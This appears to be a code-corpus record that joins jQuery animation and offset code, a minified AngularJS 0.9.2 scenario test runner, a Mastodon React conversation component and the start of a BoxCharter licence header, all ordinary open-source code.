jQuery.each([ "toggle", "show", "hide" ], function( i, name ) {
var cssFn = jQuery.fn[ name ];
jQuery.fn[ name ] = function( speed, easing, callback ) {
return speed == null || typeof speed === "boolean" ||
// special check for .toggle( handler, handler, ... )
( !i && jQuery.isFunction( speed ) && jQuery.isFunction( easing ) ) ?
cssFn.apply( this, arguments ) :
this.animate( genFx( name, true ), speed, easing, callback );
};
});
jQuery.fn.extend({
fadeTo: function( speed, to, easing, callback ) {
// show any hidden elements after setting opacity to 0
return this.filter( isHidden ).css( "opacity", 0 ).show()
// animate to the value specified
.end().animate({ opacity: to }, speed, easing, callback );
},
animate: function( prop, speed, easing, callback ) {
var empty = jQuery.isEmptyObject( prop ),
optall = jQuery.speed( speed, easing, callback ),
doAnimation = function() {
// Operate on a copy of prop so per-property easing won't be lost
var anim = Animation( this, jQuery.extend( {}, prop ), optall );
// Empty animations resolve immediately
if ( empty ) {
anim.stop( true );
}
};
return empty || optall.queue === false ?
this.each( doAnimation ) :
this.queue( optall.queue, doAnimation );
},
stop: function( type, clearQueue, gotoEnd ) {
var stopQueue = function( hooks ) {
var stop = hooks.stop;
delete hooks.stop;
stop( gotoEnd );
};
if ( typeof type !== "string" ) {
gotoEnd = clearQueue;
clearQueue = type;
type = undefined;
}
if ( clearQueue && type !== false ) {
this.queue( type || "fx", [] );
}
return this.each(function() {
var dequeue = true,
index = type != null && type + "queueHooks",
timers = jQuery.timers,
data = jQuery._data( this );
if ( index ) {
if ( data[ index ] && data[ index ].stop ) {
stopQueue( data[ index ] );
}
} else {
for ( index in data ) {
if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
stopQueue( data[ index ] );
}
}
}
for ( index = timers.length; index--; ) {
if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {
timers[ index ].anim.stop( gotoEnd );
dequeue = false;
timers.splice( index, 1 );
}
}
// start the next in the queue if the last step wasn't forced
// timers currently will call their complete callbacks, which will dequeue
// but only if they were gotoEnd
if ( dequeue || !gotoEnd ) {
jQuery.dequeue( this, type );
}
});
}
});
// Generate parameters to create a standard animation
function genFx( type, includeWidth ) {
var which,
attrs = { height: type },
i = 0;
// if we include width, step value is 1 to do all cssExpand values,
// if we don't include width, step value is 2 to skip over Left and Right
for( ; i < 4 ; i += 2 - includeWidth ) {
which = cssExpand[ i ];
attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
}
if ( includeWidth ) {
attrs.opacity = attrs.width = type;
}
return attrs;
}
// Generate shortcuts for custom animations
jQuery.each({
slideDown: genFx("show"),
slideUp: genFx("hide"),
slideToggle: genFx("toggle"),
fadeIn: { opacity: "show" },
fadeOut: { opacity: "hide" },
fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
jQuery.fn[ name ] = function( speed, easing, callback ) {
return this.animate( props, speed, easing, callback );
};
});
jQuery.speed = function( speed, easing, fn ) {
var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
complete: fn || !fn && easing ||
jQuery.isFunction( speed ) && speed,
duration: speed,
easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
};
opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
// normalize opt.queue - true/undefined/null -> "fx"
if ( opt.queue == null || opt.queue === true ) {
opt.queue = "fx";
}
// Queueing
opt.old = opt.complete;
opt.complete = function() {
if ( jQuery.isFunction( opt.old ) ) {
opt.old.call( this );
}
if ( opt.queue ) {
jQuery.dequeue( this, opt.queue );
}
};
return opt;
};
jQuery.easing = {
linear: function( p ) {
return p;
},
swing: function( p ) {
return 0.5 - Math.cos( p*Math.PI ) / 2;
}
};
jQuery.timers = [];
jQuery.fx = Tween.prototype.init;
jQuery.fx.tick = function() {
var timer,
timers = jQuery.timers,
i = 0;
for ( ; i < timers.length; i++ ) {
timer = timers[ i ];
// Checks the timer has not already been removed
if ( !timer() && timers[ i ] === timer ) {
timers.splice( i--, 1 );
}
}
if ( !timers.length ) {
jQuery.fx.stop();
}
};
jQuery.fx.timer = function( timer ) {
if ( timer() && jQuery.timers.push( timer ) && !timerId ) {
timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );
}
};
jQuery.fx.interval = 13;
jQuery.fx.stop = function() {
clearInterval( timerId );
timerId = null;
};
jQuery.fx.speeds = {
slow: 600,
fast: 200,
// Default speed
_default: 400
};
// Back Compat <1.8 extension point
jQuery.fx.step = {};
if ( jQuery.expr && jQuery.expr.filters ) {
jQuery.expr.filters.animated = function( elem ) {
return jQuery.grep(jQuery.timers, function( fn ) {
return elem === fn.elem;
}).length;
};
}
var rroot = /^(?:body|html)$/i;
jQuery.fn.offset = function( options ) {
if ( arguments.length ) {
return options === undefined ?
this :
this.each(function( i ) {
jQuery.offset.setOffset( this, options, i );
});
}
var box, docElem, body, win, clientTop, clientLeft, scrollTop, scrollLeft, top, left,
elem = this[ 0 ],
doc = elem && elem.ownerDocument;
if ( !doc ) {
return;
}
if ( (body = doc.body) === elem ) {
return jQuery.offset.bodyOffset( elem );
}
docElem = doc.documentElement;
// Make sure we're not dealing with a disconnected DOM node
if ( !jQuery.contains( docElem, elem ) ) {
return { top: 0, left: 0 };
}
box = elem.getBoundingClientRect();
win = getWindow( doc );
clientTop = docElem.clientTop || body.clientTop || 0;
clientLeft = docElem.clientLeft || body.clientLeft || 0;
scrollTop = win.pageYOffset || docElem.scrollTop;
scrollLeft = win.pageXOffset || docElem.scrollLeft;
top = box.top + scrollTop - clientTop;
left = box.left + scrollLeft - clientLeft;
return { top: top, left: left };
};
jQuery.offset = {
bodyOffset: function( body ) {
var top = body.offsetTop,
left = body.offsetLeft;
if ( jQuery.support.doesNotIncludeMarginInBodyOffset ) {
top += parseFloat( jQuery.css(body, "marginTop") ) || 0;
left += parseFloat( jQuery.css(body, "marginLeft") ) || 0;
}
return { top: top, left: left };
},
setOffset: function( elem, options, i ) {
var position = jQuery.css( elem, "position" );
// set position first, in-case top/left are set even on static elem
if ( position === "static" ) {
elem.style.position = "relative";
}
var curElem = jQuery( elem ),
curOffset = curElem.offset(),
curCSSTop = jQuery.css( elem, "top" ),
curCSSLeft = jQuery.css( elem, "left" ),
calculatePosition = ( position === "absolute" || position === "fixed" ) && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1,
props = {}, curPosition = {}, curTop, curLeft;
// need to be able to calculate position if either top or left is auto and position is either absolute or fixed
if ( calculatePosition ) {
curPosition = curElem.position();
curTop = curPosition.top;
curLeft = curPosition.left;
} else {
curTop = parseFloat( curCSSTop ) || 0;
curLeft = parseFloat( curCSSLeft ) || 0;
}
if ( jQuery.isFunction( options ) ) {
options = options.call( elem, i, curOffset );
}
if ( options.top != null ) {
props.top = ( options.top - curOffset.top ) + curTop;
}
if ( options.left != null ) {
props.left = ( options.left - curOffset.left ) + curLeft;
}
if ( "using" in options ) {
options.using.call( elem, props );
} else {
curElem.css( props );
}
}
};
jQuery.fn.extend({
position: function() {
if ( !this[0] ) {
return;
}
var elem = this[0],
// Get *real* offsetParent
offsetParent = this.offsetParent(),
// Get correct offsets
offset = this.offset(),
parentOffset = rroot.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();
// Subtract element margins
// note: when an element has margin: auto the offsetLeft and marginLeft
// are the same in Safari causing offset.left to incorrectly be 0
offset.top -= parseFloat( jQuery.css(elem, "marginTop") ) || 0;
offset.left -= parseFloat( jQuery.css(elem, "marginLeft") ) || 0;
// Add offsetParent borders
parentOffset.top += parseFloat( jQuery.css(offsetParent[0], "borderTopWidth") ) || 0;
parentOffset.left += parseFloat( jQuery.css(offsetParent[0], "borderLeftWidth") ) || 0;
// Subtract the two offsets
return {
top: offset.top - parentOffset.top,
left: offset.left - parentOffset.left
};
},
offsetParent: function() {
return this.map(function() {
var offsetParent = this.offsetParent || document.body;
while ( offsetParent && (!rroot.test(offsetParent.nodeName) && jQuery.css(offsetParent, "position") === "static") ) {
offsetParent = offsetParent.offsetParent;
}
return offsetParent || document.body;
});
}
});
// Create scrollLeft and scrollTop methods
jQuery.each( {scrollLeft: "pageXOffset", scrollTop: "pageYOffset"}, function( method, prop ) {
var top = /Y/.test( prop );
jQuery.fn[ method ] = function( val ) {
return jQuery.access( this, function( elem, method, val ) {
var win = getWindow( elem );
if ( val === undefined ) {
return win ? (prop in win) ? win[ prop ] :
win.document.documentElement[ method ] :
elem[ method ];
}
if ( win ) {
win.scrollTo(
!top ? val : jQuery( win ).scrollLeft(),
top ? val : jQuery( win ).scrollTop()
);
} else {
elem[ method ] = val;
}
}, method, val, arguments.length, null );
};
});
function getWindow( elem ) {
return jQuery.isWindow( elem ) ?
elem :
elem.nodeType === 9 ?
elem.defaultView || elem.parentWindow :
false;
}
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) {
// margin is only for outerHeight, outerWidth
jQuery.fn[ funcName ] = function( margin, value ) {
var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
return jQuery.access( this, function( elem, type, value ) {
var doc;
if ( jQuery.isWindow( elem ) ) {
// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
// isn't a whole lot we can do. See pull request at this URL for discussion:
// https://github.com/jquery/jquery/pull/764
return elem.document.documentElement[ "client" + name ];
}
// Get document width or height
if ( elem.nodeType === 9 ) {
doc = elem.documentElement;
// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], whichever is greatest
// unfortunately, this causes bug #3838 in IE6/8 only, but there is currently no good, small way to fix it.
return Math.max(
elem.body[ "scroll" + name ], doc[ "scroll" + name ],
elem.body[ "offset" + name ], doc[ "offset" + name ],
doc[ "client" + name ]
);
}
return value === undefined ?
// Get width or height on the element, requesting but not forcing parseFloat
jQuery.css( elem, type, value, extra ) :
// Set width or height on the element
jQuery.style( elem, type, value, extra );
}, type, chainable ? margin : undefined, chainable );
};
});
});
// Expose jQuery to the global object
window.jQuery = window.$ = jQuery;
// Expose jQuery as an AMD module, but only for AMD loaders that
// understand the issues with loading multiple versions of jQuery
// in a page that all might call define(). The loader will indicate
// they have special allowances for multiple jQuery versions by
// specifying define.amd.jQuery = true. Register as a named module,
// since jQuery can be concatenated with other files that may use define,
// but not use a proper concatenation script that understands anonymous
// AMD modules. A named AMD is safest and most robust way to register.
// Lowercase jquery is used because AMD module names are derived from
// file names, and jQuery is normally delivered in a lowercase file name.
// Do this after creating the global so that if an AMD module wants to call
// noConflict to hide this version of jQuery, it will work.
if ( typeof define === "function" && define.amd && define.amd.jQuery ) {
define( "jquery", [], function () { return jQuery; } );
}
})( window );
|
ajax/libs/angular.js/0.9.2/angular-scenario.min.js
|
ZDroid/cdnjs
|
/*!
* jQuery JavaScript Library v1.4.2
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2010, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Sat Feb 13 22:33:48 2010 -0500
*/
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* Copyright 2009, The Dojo Foundation
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* More information: http://sizzlejs.com/
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cO.call(this,cP,arguments)}}};ax.scenario.matcher=ax.scenario.matcher||function(cM,cN){ax.scenario.matcher[cM]=function(cP){var cQ="expect "+this.future.name+" ";if(this.inverse){cQ+="not "}var cO=this;this.addFuture(cQ+cM+" "+ax.toJson(cP),function(cR){var cS;cO.actual=cO.future.value;if((cO.inverse&&cN.call(cO,cP))||(!cO.inverse&&!cN.call(cO,cP))){cS="expected "+ax.toJson(cP)+" but was "+ax.toJson(cO.actual)}cR(cS)})}};function i(cR,cQ){var cO=bL.location.href;var cM=bZ(r.body);var cN=[];if(cQ.scenario_output){cN=cQ.scenario_output.split(",")}ax.foreach(ax.scenario.output,function(cV,cT){if(!cN.length||cE(cN,cT)!=-1){var cU=cM.append("<div></div>").find("div:last");cU.attr("id",cT);cV.call({},cU,cR)}});if(!/^http/.test(cO)&&!/^https/.test(cO)){cM.append('<p id="system-error"></p>');cM.find("#system-error").text("Scenario runner must be run using http or https. The protocol "+cO.split(":")[0]+":// is not supported.");return}var cS=cM.append('<div id="application"></div>').find("#application");var cP=new ax.scenario.Application(cS);cR.on("RunnerEnd",function(){cS.css("display","none");cS.find("iframe").attr("src","about:blank")});cR.on("RunnerError",function(cT){if(bL.console){console.log(W(cT))}else{alert(cT)}});cR.run(cP)}function X(cQ,cP,cN){var cO=0;function cM(cS,cR){if(cR&&cR>cO){cO=cR}if(cS||cO>=cQ.length){cN(cS)}else{try{cP(cQ[cO++],cM)}catch(cT){cN(cT)}}}cM()}function W(cN,cO){cO=cO||5;var cP=cN.toString();if(cN.stack){var cM=cN.stack.split("\n");if(cM[0].indexOf(cP)===-1){cO++;cM.unshift(cN.message)}cP=cM.slice(0,cO).join("\n")}return cP}function x(cN){var cM=new Error();return function(){var cO=(cM.stack||"").split("\n")[cN];if(cO){if(cO.indexOf("@")!==-1){cO=cO.substring(cO.indexOf("@")+1)}else{cO=cO.substring(cO.indexOf("(")+1).replace(")","")}}return cO||""}}function c(cM,cN){if(cM&&!cM.nodeName){cM=cM[0]}if(!cM){return}if(!cN){cN={text:"change",textarea:"change",hidden:"change",password:"change",button:"click",submit:"click",reset:"click",image:"click",checkbox:"click",radio:"click","select-one":"change","select-multiple":"change"}[cM.type]||"click"}if(al(at(cM))=="option"){cM.parentNode.value=cM.value;cM=cM.parentNode;cN="change"}if(ar){switch(cM.type){case"radio":case"checkbox":cM.checked=!cM.checked;break}cM.fireEvent("on"+cN);if(al(cM.type)=="submit"){while(cM){if(al(cM.nodeName)=="form"){cM.fireEvent("onsubmit");break}cM=cM.parentNode}}}else{var cO=r.createEvent("MouseEvents");cO.initMouseEvent(cN,true,true,bL,0,0,0,0,0,false,false,false,false,0,cM);cM.dispatchEvent(cO)}}(function(cN){var cM=cN.trigger;cN.trigger=function(cO){if(/(click|change|keyup)/.test(cO)){return this.each(function(cP,cQ){c(cQ,cO)})}return cM.apply(this,arguments)}})(bZ.fn);ax.scenario.Application=function(cM){this.context=cM;cM.append('<h2>Current URL: <a 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cM=cP.angular.service.$browser();cM.poll();cM.notifyWhenNoOutstandingRequests(function(){cO.call(cN,cP,bZ(cP.document))})};ax.scenario.Describe=function(cN,cP){this.only=cP&&cP.only;this.beforeEachFns=[];this.afterEachFns=[];this.its=[];this.children=[];this.name=cN;this.parent=cP;this.id=ax.scenario.Describe.id++;var cM=this.beforeEachFns;this.setupBefore=function(){if(cP){cP.setupBefore.call(this)}ax.foreach(cM,function(cQ){cQ.call(this)},this)};var cO=this.afterEachFns;this.setupAfter=function(){ax.foreach(cO,function(cQ){cQ.call(this)},this);if(cP){cP.setupAfter.call(this)}}};ax.scenario.Describe.id=0;ax.scenario.Describe.prototype.beforeEach=function(cM){this.beforeEachFns.push(cM)};ax.scenario.Describe.prototype.afterEach=function(cM){this.afterEachFns.push(cM)};ax.scenario.Describe.prototype.describe=function(cN,cM){var cO=new ax.scenario.Describe(cN,this);this.children.push(cO);cM.call(cO)};ax.scenario.Describe.prototype.ddescribe=function(cN,cM){var cO=new ax.scenario.Describe(cN,this);cO.only=true;this.children.push(cO);cM.call(cO)};ax.scenario.Describe.prototype.xdescribe=ax.noop;ax.scenario.Describe.prototype.it=function(cN,cM){this.its.push({definition:this,only:this.only,name:cN,before:this.setupBefore,body:cM,after:this.setupAfter})};ax.scenario.Describe.prototype.iit=function(cN,cM){this.it.apply(this,arguments);this.its[this.its.length-1].only=true};ax.scenario.Describe.prototype.xit=ax.noop;ax.scenario.Describe.prototype.getSpecs=function(){var cN=arguments[0]||[];ax.foreach(this.children,function(cO){cO.getSpecs(cN)});ax.foreach(this.its,function(cO){cN.push(cO)});var cM=[];ax.foreach(cN,function(cO){if(cO.only){cM.push(cO)}});return(cM.length&&cM)||cN};ax.scenario.Future=function(cN,cO,cM){this.name=cN;this.behavior=cO;this.fulfilled=false;this.value=undefined;this.parser=ax.identity;this.line=cM||function(){return""}};ax.scenario.Future.prototype.execute=function(cN){var cM=this;this.behavior(function(cP,cO){cM.fulfilled=true;if(cO){try{cO=cM.parser(cO)}catch(cQ){cP=cQ}}cM.value=cP||cO;cN(cP,cO)})};ax.scenario.Future.prototype.parsedWith=function(cM){this.parser=cM;return this};ax.scenario.Future.prototype.fromJson=function(){return this.parsedWith(ax.fromJson)};ax.scenario.Future.prototype.toJson=function(){return this.parsedWith(ax.toJson)};ax.scenario.ObjectModel=function(cO){var cN=this;this.specMap={};this.value={name:"",children:{}};cO.on("SpecBegin",function(cP){var cQ=cN.value;ax.foreach(cN.getDefinitionPath(cP),function(cR){if(!cQ.children[cR.name]){cQ.children[cR.name]={id:cR.id,name:cR.name,children:{},specs:{}}}cQ=cQ.children[cR.name]});cN.specMap[cP.id]=cQ.specs[cP.name]=new ax.scenario.ObjectModel.Spec(cP.id,cP.name)});cO.on("SpecError",function(cP,cQ){var cR=cN.getSpec(cP.id);cR.status="error";cR.error=cQ});cO.on("SpecEnd",function(cP){var cQ=cN.getSpec(cP.id);cM(cQ)});cO.on("StepBegin",function(cP,cR){var cQ=cN.getSpec(cP.id);cQ.steps.push(new ax.scenario.ObjectModel.Step(cR.name))});cO.on("StepEnd",function(cP,cR){var cQ=cN.getSpec(cP.id);if(cQ.getLastStep().name!==cR.name){throw"Events fired in the wrong order. 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cN};ax.scenario.ObjectModel.Spec.prototype.getLastStep=function(){return this.steps[this.steps.length-1]};ax.scenario.ObjectModel.Step=function(cM){this.name=cM;this.startTime=new Date().getTime()};ax.scenario.Describe=function(cN,cP){this.only=cP&&cP.only;this.beforeEachFns=[];this.afterEachFns=[];this.its=[];this.children=[];this.name=cN;this.parent=cP;this.id=ax.scenario.Describe.id++;var cM=this.beforeEachFns;this.setupBefore=function(){if(cP){cP.setupBefore.call(this)}ax.foreach(cM,function(cQ){cQ.call(this)},this)};var cO=this.afterEachFns;this.setupAfter=function(){ax.foreach(cO,function(cQ){cQ.call(this)},this);if(cP){cP.setupAfter.call(this)}}};ax.scenario.Describe.id=0;ax.scenario.Describe.prototype.beforeEach=function(cM){this.beforeEachFns.push(cM)};ax.scenario.Describe.prototype.afterEach=function(cM){this.afterEachFns.push(cM)};ax.scenario.Describe.prototype.describe=function(cN,cM){var cO=new ax.scenario.Describe(cN,this);this.children.push(cO);cM.call(cO)};ax.scenario.Describe.prototype.ddescribe=function(cN,cM){var cO=new ax.scenario.Describe(cN,this);cO.only=true;this.children.push(cO);cM.call(cO)};ax.scenario.Describe.prototype.xdescribe=ax.noop;ax.scenario.Describe.prototype.it=function(cN,cM){this.its.push({definition:this,only:this.only,name:cN,before:this.setupBefore,body:cM,after:this.setupAfter})};ax.scenario.Describe.prototype.iit=function(cN,cM){this.it.apply(this,arguments);this.its[this.its.length-1].only=true};ax.scenario.Describe.prototype.xit=ax.noop;ax.scenario.Describe.prototype.getSpecs=function(){var cN=arguments[0]||[];ax.foreach(this.children,function(cO){cO.getSpecs(cN)});ax.foreach(this.its,function(cO){cN.push(cO)});var cM=[];ax.foreach(cN,function(cO){if(cO.only){cM.push(cO)}});return(cM.length&&cM)||cN};ax.scenario.Runner=function(cM){this.listeners=[];this.$window=cM;this.rootDescribe=new ax.scenario.Describe();this.currentDescribe=this.rootDescribe;this.api={it:this.it,iit:this.iit,xit:ax.noop,describe:this.describe,ddescribe:this.ddescribe,xdescribe:ax.noop,beforeEach:this.beforeEach,afterEach:this.afterEach};ax.foreach(this.api,ax.bind(this,function(cO,cN){this.$window[cN]=ax.bind(this,cO)}))};ax.scenario.Runner.prototype.emit=function(cN){var cM=this;var cO=Array.prototype.slice.call(arguments,1);cN=cN.toLowerCase();if(!this.listeners[cN]){return}ax.foreach(this.listeners[cN],function(cP){cP.apply(cM,cO)})};ax.scenario.Runner.prototype.on=function(cM,cN){cM=cM.toLowerCase();this.listeners[cM]=this.listeners[cM]||[];this.listeners[cM].push(cN)};ax.scenario.Runner.prototype.describe=function(cO,cM){var cN=this;this.currentDescribe.describe(cO,function(){var cP=cN.currentDescribe;cN.currentDescribe=this;try{cM.call(this)}finally{cN.currentDescribe=cP}})};ax.scenario.Runner.prototype.ddescribe=function(cO,cM){var cN=this;this.currentDescribe.ddescribe(cO,function(){var cP=cN.currentDescribe;cN.currentDescribe=this;try{cM.call(this)}finally{cN.currentDescribe=cP}})};ax.scenario.Runner.prototype.it=function(cN,cM){this.currentDescribe.it(cN,cM)};ax.scenario.Runner.prototype.iit=function(cN,cM){this.currentDescribe.iit(cN,cM)};ax.scenario.Runner.prototype.beforeEach=function(cM){this.currentDescribe.beforeEach(cM)};ax.scenario.Runner.prototype.afterEach=function(cM){this.currentDescribe.afterEach(cM)};ax.scenario.Runner.prototype.createSpecRunner_=function(cM){return cM.$new(ax.scenario.SpecRunner)};ax.scenario.Runner.prototype.run=function(cN){var cM=this;var cO=ax.scope(this);cO.application=cN;this.emit("RunnerBegin");X(this.rootDescribe.getSpecs(),function(cP,cS){var cQ={};var cR=cM.createSpecRunner_(cO);ax.foreach(ax.scenario.dsl,function(cU,cT){cQ[cT]=cU.call(cO)});ax.foreach(ax.scenario.dsl,function(cU,cT){cM.$window[cT]=function(){var cV=x(3);var cW=ax.scope(cR);cW.dsl={};ax.foreach(cQ,function(cY,cX){cW.dsl[cX]=function(){return cQ[cX].apply(cW,arguments)}});cW.addFuture=function(){Array.prototype.push.call(arguments,cV);return ax.scenario.SpecRunner.prototype.addFuture.apply(cW,arguments)};cW.addFutureAction=function(){Array.prototype.push.call(arguments,cV);return ax.scenario.SpecRunner.prototype.addFutureAction.apply(cW,arguments)};return cW.dsl[cT].apply(cW,arguments)}});cR.run(cP,cS)},function(cP){if(cP){cM.emit("RunnerError",cP)}cM.emit("RunnerEnd")})};ax.scenario.SpecRunner=function(){this.futures=[];this.afterIndex=0};ax.scenario.SpecRunner.prototype.run=function(cN,cP){var cM=this;this.spec=cN;this.emit("SpecBegin",cN);try{cN.before.call(this);cN.body.call(this);this.afterIndex=this.futures.length;cN.after.call(this)}catch(cO){this.emit("SpecError",cN,cO);this.emit("SpecEnd",cN);cP();return}var cQ=function(cS,cR){if(cM.error){return cR()}cM.error=true;cR(null,cM.afterIndex)};X(this.futures,function(cR,cS){cM.step=cR;cM.emit("StepBegin",cN,cR);try{cR.execute(function(cU){if(cU){cM.emit("StepFailure",cN,cR,cU);cM.emit("StepEnd",cN,cR);return cQ(cU,cS)}cM.emit("StepEnd",cN,cR);cM.$window.setTimeout(function(){cS()},0)})}catch(cT){cM.emit("StepError",cN,cR,cT);cM.emit("StepEnd",cN,cR);cQ(cT,cS)}},function(cR){if(cR){cM.emit("SpecError",cN,cR)}cM.emit("SpecEnd",cN);cM.$window.setTimeout(function(){cP()},0)})};ax.scenario.SpecRunner.prototype.addFuture=function(cO,cP,cN){var cM=new ax.scenario.Future(cO,ax.bind(this,cP),cN);this.futures.push(cM);return cM};ax.scenario.SpecRunner.prototype.addFutureAction=function(cO,cP,cM){var cN=this;return this.addFuture(cO,function(cQ){this.application.executeAction(function(cT,cS){cS.elements=function(cV){var cW=Array.prototype.slice.call(arguments,1);cV=(cN.selector||"")+" "+(cV||"");ax.foreach(cW,function(cY,cX){cV=cV.replace("$"+(cX+1),cY)});var cU=cS.find(cV);if(!cU.length){throw {type:"selector",message:"Selector "+cV+" did not match any elements."}}return cU};try{cP.call(cN,cT,cS,cQ)}catch(cR){if(cR.type&&cR.type==="selector"){cQ(cR.message)}else{throw cR}}})},cM)};ax.scenario.dsl("wait",function(){return function(){return this.addFuture("waiting for you to resume",function(cM){this.emit("InteractiveWait",this.spec,this.step);this.$window.resume=function(){cM()}})}});ax.scenario.dsl("pause",function(){return function(cM){return this.addFuture("pause for "+cM+" seconds",function(cN){this.$window.setTimeout(function(){cN(null,cM*1000)},cM*1000)})}});ax.scenario.dsl("browser",function(){var cM={};cM.navigateTo=function(cO,cP){var cN=this.application;return this.addFuture("browser navigate to '"+cO+"'",function(cQ){if(cP){cO=cP.call(this,cO)}cN.navigateTo(cO,function(){cQ(null,cO)},cQ)})};cM.reload=function(){var cN=this.application;return this.addFutureAction("browser reload",function(cR,cQ,cO){var cP=cR.location.href;cN.navigateTo(cP,function(){cO(null,cP)},cO)})};cM.location=function(){var cN={};cN.href=function(){return this.addFutureAction("browser url",function(cQ,cP,cO){cO(null,cQ.location.href)})};cN.hash=function(){return this.addFutureAction("browser url hash",function(cQ,cP,cO){cO(null,cQ.location.hash.replace("#",""))})};cN.path=function(){return this.addFutureAction("browser url path",function(cQ,cP,cO){cO(null,cQ.location.pathname)})};cN.search=function(){return this.addFutureAction("browser url search",function(cQ,cP,cO){cO(null,cQ.angular.scope().$location.search)})};cN.hashSearch=function(){return this.addFutureAction("browser url hash search",function(cQ,cP,cO){cO(null,cQ.angular.scope().$location.hashSearch)})};cN.hashPath=function(){return this.addFutureAction("browser url hash path",function(cQ,cP,cO){cO(null,cQ.angular.scope().$location.hashPath)})};return cN};return function(cN){return cM}});ax.scenario.dsl("expect",function(){var cM=ax.extend({},ax.scenario.matcher);cM.not=function(){this.inverse=true;return cM};return function(cN){this.future=cN;return cM}});ax.scenario.dsl("using",function(){return function(cM,cN){this.selector=bZ.trim((this.selector||"")+" "+cM);if(ax.isString(cN)&&cN.length){this.label=cN+" ( "+this.selector+" )"}else{this.label=this.selector}return this.dsl}});ax.scenario.dsl("binding",function(){function cM(cO,cN){return cN instanceof RegExp?cN.test(cO):cO&&cO.indexOf(cN)>=0}return function(cN){return this.addFutureAction("select binding '"+cN+"'",function(cT,cS,cO){var cR=cS.elements(".ng-binding");for(var cQ=0;cQ<cR.length;cQ++){var cP=new cR.init(cR[cQ]);if(cM(cP.attr("ng:bind"),cN)||cM(cP.attr("ng:bind-template"),cN)){if(cP.is("input, textarea")){cO(null,cP.val())}else{cO(null,cP.html())}return}}cO("Binding selector '"+cN+"' did not match.")})}});ax.scenario.dsl("input",function(){var cM={};cM.enter=function(cN){return this.addFutureAction("input '"+this.name+"' enter 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758px;\n}\n\n#application .popout {\n float: right;\n}\n\n#application iframe {\n border: none;\n}\n\n.tests li,\n.test-actions li,\n.test-it li,\n.test-it ol,\n.status-display {\n list-style-type: none;\n}\n\n.tests,\n.test-it ol,\n.status-display {\n margin: 0;\n padding: 0;\n}\n\n.test-info {\n margin-left: 1em;\n margin-top: 0.5em;\n border-radius: 8px 0 0 8px;\n -webkit-border-radius: 8px 0 0 8px;\n -moz-border-radius: 8px 0 0 8px;\n cursor: pointer;\n}\n\n.test-info:hover .test-name {\n text-decoration: underline;\n}\n\n.test-info .closed:before {\n content: '\\25b8\\00A0';\n}\n\n.test-info .open:before {\n content: '\\25be\\00A0';\n font-weight: bold;\n}\n\n.test-it ol {\n margin-left: 2.5em;\n}\n\n.status-display,\n.status-display li {\n float: right;\n}\n\n.status-display li {\n padding: 5px 10px;\n}\n\n.timer-result,\n.test-title {\n display: inline-block;\n margin: 0;\n padding: 4px;\n}\n\n.test-actions .test-title,\n.test-actions .test-result {\n display: table-cell;\n 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#777;\n}\n\n.status-display .status-pending,\n.status-pending .test-info {\n background-color: #F9EEBC;\n}\n\n.status-display .status-success,\n.status-success .test-info {\n background-color: #B1D7A1;\n}\n\n.status-display .status-failure,\n.status-failure .test-info {\n background-color: #FF8286;\n}\n\n.status-display .status-error,\n.status-error .test-info {\n background-color: black;\n color: white;\n}\n\n.test-actions .status-success .test-title {\n color: #30B30A;\n}\n\n.test-actions .status-failure .test-title {\n color: #DF0000;\n}\n\n.test-actions .status-error .test-title {\n color: black;\n}\n\n.test-actions .timer-result {\n color: #888;\n}\n</style>");
|
app/javascript/mastodon/features/direct_timeline/components/conversation.js
|
dwango/mastodon
|
import React from 'react';
import PropTypes from 'prop-types';
import ImmutablePropTypes from 'react-immutable-proptypes';
import ImmutablePureComponent from 'react-immutable-pure-component';
import StatusContainer from '../../../containers/status_container';
export default class Conversation extends ImmutablePureComponent {
static contextTypes = {
router: PropTypes.object,
};
static propTypes = {
conversationId: PropTypes.string.isRequired,
accounts: ImmutablePropTypes.list.isRequired,
lastStatusId: PropTypes.string,
unread:PropTypes.bool.isRequired,
onMoveUp: PropTypes.func,
onMoveDown: PropTypes.func,
markRead: PropTypes.func.isRequired,
};
handleClick = () => {
if (!this.context.router) {
return;
}
const { lastStatusId, unread, markRead } = this.props;
if (unread) {
markRead();
}
this.context.router.history.push(`/statuses/${lastStatusId}`);
}
handleHotkeyMoveUp = () => {
this.props.onMoveUp(this.props.conversationId);
}
handleHotkeyMoveDown = () => {
this.props.onMoveDown(this.props.conversationId);
}
render () {
const { accounts, lastStatusId, unread } = this.props;
if (lastStatusId === null) {
return null;
}
return (
<StatusContainer
id={lastStatusId}
unread={unread}
otherAccounts={accounts}
onMoveUp={this.handleHotkeyMoveUp}
onMoveDown={this.handleHotkeyMoveDown}
onClick={this.handleClick}
/>
);
}
}
|
client/src/auth/SignUp.js
|
flyrightsister/boxcharter
|
/*
* Copyright (c) 2017 Bonnie Schulkin. All Rights Reserved.
*
* This file is part of BoxCharter.
*
* BoxCharter is free software: you can redistribute it and/or modify it under
* the terms of the GNU Affero General Public License as published by the Free
* Software Foundation, either version 3 of the License, or (at your option)
* any later version.
*
* BoxCharter is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License
* for more details.
*
